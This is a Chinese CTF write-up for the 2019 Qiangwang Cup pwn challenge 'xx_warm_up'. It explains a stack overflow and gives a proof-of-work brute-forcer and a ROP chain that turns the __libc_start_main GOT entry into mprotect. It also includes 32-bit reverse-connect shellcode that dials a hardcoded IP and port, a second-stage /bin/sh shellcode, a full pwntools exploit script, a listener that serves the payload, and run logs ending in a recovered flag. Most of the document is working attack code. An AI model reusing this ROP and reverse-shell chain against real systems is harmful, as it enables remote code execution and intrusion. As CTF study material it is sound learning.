强网杯2019 pwn xx_warm_up writeup

TOC

  1. 1. 分析
    1. 1.1. pow.py
    2. 1.2. xx_warm_up
  2. 2. 思路
    1. 2.1. __libc_start_main -> mprotect
    2. 2.2. 反向shellcode
    3. 2.3. 查找flag
  3. 3. 完整脚本
  4. 4. 二次shellcode
  5. 5. 远程脚本
    1. 5.1. 运行实例
    2. 5.2. 总结

主要考验的是选手构造ROP链的能力,题目当时没做出来,所以环境仅仅是根据赛时服务器行为搭建的。

源程序、相关文件下载:xx_warm_up.zip

分析

拿到题目之后,先是一个Python文件。

pow.py

#!/usr/bin/python -u
# encoding: utf-8

import random, string, subprocess, os, sys
from hashlib import sha256

os.chdir(os.path.dirname(os.path.realpath(__file__)))

def proof_of_work():
chal = ''.join(random.choice(string.letters+string.digits) for _ in xrange(16))
sys.stdout.write(chal + "\n")
sys.stdout.flush()
sol = sys.stdin.read(4)
if len(sol) != 4 or not sha256(chal + sol).hexdigest().startswith('00000'):
exit()

def read_until(fd, max_sz, end_ch = None):
data = ''
while len(data) < max_sz:
try:
tch = fd.read(1)
except Exception, e:
break

if end_ch != None and tch == end_ch:
break

if tch == '':
break
data += tch
#print data
return data

def exec_serv(name):
p = subprocess.Popen(name, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
sys.stdout.write(read_until(p.stdout, 0x100))
sys.stdout.flush()


import os,sys,signal,logging
class Unbuffered(object):
def __init__(self, stream):
self.stream = stream
def write(self, data):
self.stream.write(data)
self.stream.flush()
def __getattr__(self, attr):
return getattr(self.stream, attr)

import string
def checkInput(data):
pattern = string.digits + string.ascii_letters
for ch in data:
if ch not in pattern:
return False

return True

if __name__ == '__main__':

sys.stdout = Unbuffered(sys.stdout)
interact_timeout = 120
#set alarm 60s and change workdir
signal.alarm(interact_timeout)

proof_of_work()
input_data = read_until(sys.stdin, 0x100, '\n')
if checkInput(input_data) == True:
exec_serv('./xx_warm_up ' + input_data)
else:
print "bad input"

这里需要我们进行简单的sha256爆破,下面是爆破脚本。

// compiled: gcc -O3 -pthread crack.c sha256.c -o crack
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include "sha256.h"

// 设置线程数目
#define THREAD_NUM 2

char global_data[0x100] = {0};

void crack(void *p)
{
int offset = *(int *)p, i, ii, iii, iiii;
char data[0x100];
char hash[0x100];
memcpy(data, global_data, 0x100);

for (i = offset; i < 256; i++)
{
// printf("%d\n",i);
data[16] = i;
for (ii = 0; ii < 256; ii += THREAD_NUM)
{
data[17] = ii;
for (iii = 0; iii < 256; iii++)
{
data[18] = iii;
for (iiii = 0; iiii < 256; iiii++)
{
data[19] = iiii;
sha256(data, 20, hash);
if (*(short *)hash == 0 && (hash[2] & 0xf0) == 0)
{
write(1, data, 20);
exit(0);
}
}
}
}
}
}

int main(int argc, char const *argv[])
{
pthread_t threads[THREAD_NUM];
int offset[THREAD_NUM], i;
memcpy(global_data, argv[1], 16);

// printf("%s\n%s\n", global_data, global_answer);

// 启动线程
for (i = 0; i < THREAD_NUM; i++)
{
offset[i] = i;
pthread_create(&threads[i], NULL, crack, (void *)&offset[i]);
}

// 等待线程
for (i = 0; i < THREAD_NUM; i++)
{
pthread_join(threads[i], NULL);
}

return 0;
}

sha256源码来自:https://github.com/ilvn/SHA256

xx_warm_up

int __cdecl main(int a1, char **argv)
{
void *v2; // esp
unsigned int length; // [esp+0h] [ebp-10h]
int v5; // [esp+4h] [ebp-Ch]
int *v6; // [esp+8h] [ebp-8h]

v6 = &a1;
v2 = alloca(48);
v5 = 16 * (((unsigned int)&v5 + 3) >> 4);
str_to_hex((int)&buf, (int)argv[1], 0x80u, &length);
if ( length <= 128 )
memcpy(v5, (int)&buf, length);
memset((char *)&link_map, 0, 8);
return 0;
}

标准的栈溢出,而且我们只可以注入一次payload,payload的长度最大128,link_map也被置0了,这意味着我们不能使用ret2dl-resolve

而且程序没有交互性,只读取一次payload,返回一次输出流,所以我们只能用128byte的payload来打穿,而且实际靶机把flag藏了起来,需要我们手动找出来。

思路

  1. 构造ROP链修改 __libc_start_main 为 mprotect
  2. 执行反向shellcode
  3. 查找flag

__libc_start_main -> mprotect

原理是用ROPgadget深度搜索的时候,找到了两条比较bug的指令。

# 0x08048436 : add dword ptr [ebx + 0x453bfc45], ecx ; adc byte ptr [esi - 0x70], bh ; leave ; ret
add_addr_ret = 0x08048436

# edi -> esi -> ebp -> # -> ebx -> edx -> ecx -> eax
# 0x080485b6 : popal ; cld ; ret
popal_cld_ret = 0x080485b6

可以利用上面的指令,直接加上__libc_start_mainmprotect之间的差值,那么就可以调用mprotect来执行shellcode。

buf_addr = 0x804a040

log.info("__libc_start_main.got: " + hex(elf.got['__libc_start_main']))
diff = libc.symbols['mprotect'] - libc.symbols['__libc_start_main']
log.success("the diff is " + hex(diff))

layout = [
p32(buf_addr + 64 + 4 + 4),
p32(popal_cld_ret),
p32(0), # edi
p32(buf_addr + 0x200), # esi
p32(buf_addr + 64 + 4 * 10), # ebp
p32(0),
p32(elf.got['__libc_start_main'] - 0x453bfc45 + 0x100000000), # ebx
p32(0), # edx
p32(diff), # ecx
p32(0), # eax

p32(add_addr_ret),
p32(elf.plt['__libc_start_main']),
p32(buf_addr),
p32(buf_addr & 0xfffff000), # addr
p32(0x1000), # len
p32(1 | 2 | 4), # prot
]

反向shellcode

总共128byte的payload,上面已经用掉了64个byte,那么就是说我们只能填充64byte的反向shellcode,这对于反向shellcode来说很难。

这里我用了一个思路,先只打开socket的输入流,输出流之后在注入二次shellcode再打开,这样payload会短很多,而且第一次不执行execve,而是继续读二次shellcode,然后通过二次shellcode来拿shell,这样payload又会变短,最后我们只需要58byte的shellcode就能完成上面的操作,满足了64byte的要求。

反向shellcode:

;// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
xor ebx, ebx
mul ebx
inc ebx
push edx
push ebx
push 0x2
mov ecx, esp
mov al, 0x66
int 0x80

;// dup2(soc, 0)
mov ebx, eax
xor ecx, ecx
mov al, 0x3f
int 0x80

;// connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in))
push 0x3740e76f
push 0xcaea0002
mov ecx, esp
push 0x10
push ecx
push ebx ;// fd
mov ecx, esp
mov al, 0x66
int 0x80

;// read(socket, 0x804a000, 255)
mov ecx, 0x804a000
mov dl, 255
mov al, 3
int 0x80

;// shellcode
jmp ecx

0x3740e76f为ip,0xcaea为端口。

查找flag

连上shell之后,查找flag就会变得很方便。

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import random
import binascii

sh = remote('111.231.64.55', 60108)
prefix = sh.recv(16)

cmd = './crack ' + prefix + ' > txt'
print(cmd)
os.system(cmd)
key = open('txt', 'rb').read()

sh.send(key[-4:])

# context.log_level = 'debug'
# sh = process('./xx_warm_up')
elf = ELF('./xx_warm_up')
libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')
context.arch = "i386"

# 创建pid文件,用于gdb调试
try:
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
except Exception as e:
print(e)

# 0x08048436 : add dword ptr [ebx + 0x453bfc45], ecx ; adc byte ptr [esi - 0x70], bh ; leave ; ret
add_addr_ret = 0x08048436

# edi -> esi -> ebp -> # -> ebx -> edx -> ecx -> eax
# 0x080485b6 : popal ; cld ; ret
popal_cld_ret = 0x080485b6

buf_addr = 0x804a040

log.info("__libc_start_main.got: " + hex(elf.got['__libc_start_main']))
diff = libc.symbols['mprotect'] - libc.symbols['__libc_start_main']
log.success("the diff is " + hex(diff))

layout = [
p32(buf_addr + 64 + 4 + 4),
p32(popal_cld_ret),
p32(0), # edi
p32(buf_addr + 0x200), # esi
p32(buf_addr + 64 + 4 * 10), # ebp
p32(0),
p32(elf.got['__libc_start_main'] - 0x453bfc45 + 0x100000000), # ebx
p32(0), # edx
p32(diff), # ecx
p32(0), # eax

p32(add_addr_ret),
p32(elf.plt['__libc_start_main']),
p32(buf_addr),
p32(buf_addr & 0xfffff000), # addr
p32(0x1000), # len
p32(1 | 2 | 4), # prot
]

shellcode_asm = '''
;// socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
xor ebx, ebx
mul ebx
inc ebx
push edx
push ebx
push 0x2
mov ecx, esp
mov al, 0x66
int 0x80

;// dup2(soc, 0)
mov ebx, eax
xor ecx, ecx
mov al, 0x3f
int 0x80

;// connect(soc, (struct sockaddr *)&serv_addr, sizeof(struct sockaddr_in))
push 0x3740e76f
push 0xcaea0002
mov ecx, esp
push 0x10
push ecx
push ebx ;// fd
mov ecx, esp
mov al, 0x66
int 0x80

;// read(socket, 0x804a000, 255)
mov ecx, 0x804a000
mov dl, 255
mov al, 3
int 0x80

;// shellcode
jmp ecx
'''

shellcode = asm(shellcode_asm)
print(len(shellcode))

payload = shellcode.ljust(64, 'b') + flat(layout)

print(len(payload))

payload = binascii.b2a_hex(payload.ljust(128, 'a'))
print(payload)

sh.send(payload)

sh.interactive()

二次shellcode

;// dup2(soc, 1)
mov ebx, 3
mov ecx, 1
mov eax, 63 ;// SYS_dup2
int 0x80

;// execve("/bin/sh", NULL, NULL)
push 0x0068732f
push 0x6e69622f
mov ebx,esp
mov eax,0x0b
mov ecx,0
mov edx,0
int 0x80

;// exit(0)
mov ebx, 0
mov eax, 1
int 0x80

远程脚本

#!/usr/bin/python
# -*- coding: UTF-8 -*-

import socket # 导入 socket 模块
import thread

def print_recv(s):
while(s):
result = s.recv(1024)
if(result):
print(result)
else:
return

s = socket.socket() # 创建 socket 对象
host = '0.0.0.0' # 获取本地主机名
port = 60106 # 设置端口
s.bind((host, port)) # 绑定端口

s.listen(1) # 等待客户端连接
while True:
c, addr = s.accept() # 建立客户端连接
print ('连接地址:' + str(addr))
c.send('\xbb\x03\x00\x00\x00\xb9\x01\x00\x00\x00\xb8?\x00\x00\x00\xcd\x80h/sh\x00h/bin\x89\xe3\xb8\x0b\x00\x00\x00\xb9\x00\x00\x00\x00\xba\x00\x00\x00\x00\xcd\x80\xbb\x00\x00\x00\x00\xb8\x01\x00\x00\x00\xcd\x80')
try:
thread.start_new_thread(print_recv, (c, ))
while(True):
c.send(raw_input() + '\n')
except Exception as e:
print(e)
print("Disconnect")
c.close()

运行实例

本机:

ex@Ex:~/test$ ./exp.py 
[+] Opening connection to 111.231.64.55 on port 60108: Done
./crack JwToj0FJv0E0sHSI > txt
[*] '/home/ex/test/xx_warm_up'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[*] '/home/ex/test/libc-2.27.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
list index out of range
[*] __libc_start_main.got: 0x804a00c
[+] the diff is 0xd9e80
58
128
31dbf7e34352536a0289e1b066cd8089c331c9b03fcd80686fe74037680200eaca89e16a10515389e1b066cd80b900a00408b2ffb003cd80ffe162626262626288a00408b68504080000000040a20408a8a0040800000000c7a3c8c200000000809e0d000000000036840408c082040840a0040800a004080010000007000000
[*] Switching to interactive mode

$

服务器:

python ./control.py
连接地址:('111.231.64.55', 42796)
find . -name flag
./flag

cat ./flag
60fa126205cdf0669d07ba4a02c226a86c333411

总结

这道题目当时我已经已经打穿本地,没想到出题方把flag藏了起来,难怪打不穿靶机,不过反向shellcode对于这种没有交互性的程序还是很实用的。